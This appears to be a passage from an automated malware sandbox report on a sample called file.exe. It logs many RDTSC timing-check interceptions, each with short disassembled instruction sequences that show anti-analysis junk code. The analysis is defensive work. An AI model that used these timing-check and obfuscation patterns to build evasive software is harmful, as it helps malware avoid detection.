Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F371E4 second address: F37205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF38Eh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F9AED3FF386h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EE9B second address: F3EEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EEA1 second address: F3EEA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41600 second address: F41604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41604 second address: F4161E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF396h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CCF3 second address: F4CCF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CCF8 second address: F4CCFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CCFE second address: F4CD34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9AEC795B46h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jns 00007F9AEC795B51h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9AEC795B51h 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C875 second address: F4C87B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53B0C second address: F53B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53B17 second address: F53B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58B2A second address: F58B2F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58B2F second address: F58B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E761FA second address: E76204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76204 second address: E76242 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9AED3FF386h 0x00000008 jmp 00007F9AED3FF399h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F9AED3FF392h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60293 second address: F60298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F600DB second address: F600FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF391h 0x00000007 jmp 00007F9AED3FF38Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F600FD second address: F60103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60103 second address: F60107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60107 second address: F60128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B56h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69BF0 second address: F69C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Bh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68931 second address: F68937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68937 second address: F6893B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68AD8 second address: F68ADC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68BF9 second address: F68BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68BFF second address: F68C39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edx 0x00000011 jmp 00007F9AEC795B52h 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007F9AEC795B46h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68C39 second address: F68C55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68F1E second address: F68F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68F22 second address: F68F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9AED3FF386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68F2E second address: F68F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68F36 second address: F68F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69925 second address: F6992A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EC21 second address: F6EC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF38Dh 0x00000009 popad 0x0000000a jg 00007F9AED3FF392h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EC45 second address: F6EC4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E7B0 second address: F6E7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E7B4 second address: F6E803 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9AEC795B4Fh 0x0000000b jmp 00007F9AEC795B58h 0x00000010 popad 0x00000011 pushad 0x00000012 jbe 00007F9AEC795B4Eh 0x00000018 js 00007F9AEC795B46h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jnc 00007F9AEC795B4Ah 0x00000026 jo 00007F9AEC795B4Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E944 second address: F6E94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E94A second address: F6E950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E950 second address: F6E95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 je 00007F9AED3FF388h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E95F second address: F6E969 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9AEC795B4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79401 second address: F79412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF38Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79412 second address: F7942F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B57h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7923A second address: F7927E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF399h 0x00000007 jnl 00007F9AED3FF386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F9AED3FF392h 0x00000015 push ecx 0x00000016 jmp 00007F9AED3FF38Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7927E second address: F7928D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jc 00007F9AEC795B4Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B0BF second address: F7B0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81C57 second address: F81C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81C5B second address: F81C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81C5F second address: F81C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007F9AEC795B5Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9AEC795B4Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81C78 second address: F81C7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F832EC second address: F832F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9AEC795B46h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E00B second address: F7E018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E018 second address: F7E02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B4Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91AE0 second address: F91AED instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94081 second address: F94089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA604 second address: FAA615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F9AED3FF386h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA615 second address: FAA619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA619 second address: FAA61D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAE5A second address: FAAE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAE60 second address: FAAE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAE64 second address: FAAE76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007F9AEC795B46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAE76 second address: FAAE85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAFEB second address: FAAFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jg 00007F9AEC795B46h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAFFC second address: FAB002 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB002 second address: FAB02A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jl 00007F9AEC795B6Dh 0x0000000d jl 00007F9AEC795B53h 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F9AEC795B4Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c ja 00007F9AEC795B46h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB02A second address: FAB030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB481 second address: FAB485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB485 second address: FAB48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB48D second address: FAB492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE28E second address: FAE292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE292 second address: FAE2AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE2AA second address: FAE2AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE2AF second address: FAE2B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE37E second address: FAE388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9AED3FF386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE388 second address: FAE3B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F9AEC795B46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE3B1 second address: FAE3B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE3B5 second address: FAE3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE3BF second address: FAE3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB17AE second address: FB17B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB17B4 second address: FB17C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3458 second address: FB345C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC73CA second address: EC73D3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D702FA second address: 4D7032B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9AEC795B51h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7032B second address: 4D70332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70332 second address: 4D70381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e pushfd 0x0000000f jmp 00007F9AEC795B4Ah 0x00000014 jmp 00007F9AEC795B55h 0x00000019 popfd 0x0000001a popad 0x0000001b mov edx, dword ptr [ebp+0Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9AEC795B4Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9055D second address: 4D90563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90563 second address: 4D90590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 call 00007F9AEC795B56h 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90590 second address: 4D905B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e mov bx, si 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905B4 second address: 4D905BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905BA second address: 4D905BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905BE second address: 4D905EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c movsx ebx, cx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 movzx esi, bx 0x00000015 popad 0x00000016 push esp 0x00000017 jmp 00007F9AEC795B4Ch 0x0000001c mov dword ptr [esp], ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movsx edi, ax 0x00000025 mov bx, ax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905EE second address: 4D90613 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9AED3FF392h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90613 second address: 4D90627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov al, FCh 0x00000009 mov eax, edi 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90627 second address: 4D9062D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9062D second address: 4D90680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 mov esi, 254F0021h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 mov ecx, 38E69259h 0x00000015 call 00007F9AEC795B56h 0x0000001a movzx ecx, dx 0x0000001d pop ebx 0x0000001e popad 0x0000001f lea eax, dword ptr [ebp-04h] 0x00000022 pushad 0x00000023 movzx eax, dx 0x00000026 mov edi, 5858D418h 0x0000002b popad 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F9AEC795B53h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9078E second address: 4D90792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90792 second address: 4D90796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90796 second address: 4D9079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
